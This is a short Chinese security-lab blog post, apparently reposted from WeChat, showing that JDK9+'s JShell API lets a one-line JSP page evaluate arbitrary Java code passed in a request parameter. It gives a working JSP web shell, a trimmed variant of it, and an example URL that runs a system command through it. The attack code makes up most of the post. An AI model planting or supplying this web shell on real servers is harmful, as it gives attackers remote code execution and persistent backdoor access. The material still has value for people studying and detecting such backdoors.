JShell(JDK9+)eval任意Java代码片段执行
2019-10-17 15:58:29 Author: mp.weixin.qq.com(查看原文) 阅读量:97 收藏

点击上方“凌天实验室”,“星标或置顶公众号”

漏洞、技术还是其他,我都想第一时间和你分享

写在之前:

最近几年开发RASP产品期间整理了很多的Java语言的特性~

JDK9开始提供一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今2年多了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。

测试代码:

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>

就这么简单的一行代码就可以了,src参数值是java代码片段。

测试用例:

http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()

如果强迫症想撸掉多余的输出:

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
凌天
实验室

凌天实验室,是安百科技旗下针对应用安全领域进行攻防研究的专业技术团队,其核心成员来自原乌云创始团队及社区知名白帽子,团队专业性强、技术层次高且富有实战经验。实验室成立于2016年,发展至今团队成员已达35人,在应用安全领域深耕不辍,向网络安全行业顶尖水平攻防技术团队的方向夯实迈进。


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyNTk1NDQ3Ng==&amp;mid=2247484684&amp;idx=1&amp;sn=7b86f15f3eaa4aae25c291934d1ea0f2&amp;chksm=fa1779cfcd60f0d9cdc3462ef9114b5dd6de5e7f5ec152998d5c52bde3eea9d55d425a3baa04#rd
如有侵权请联系:admin#unsafe.sh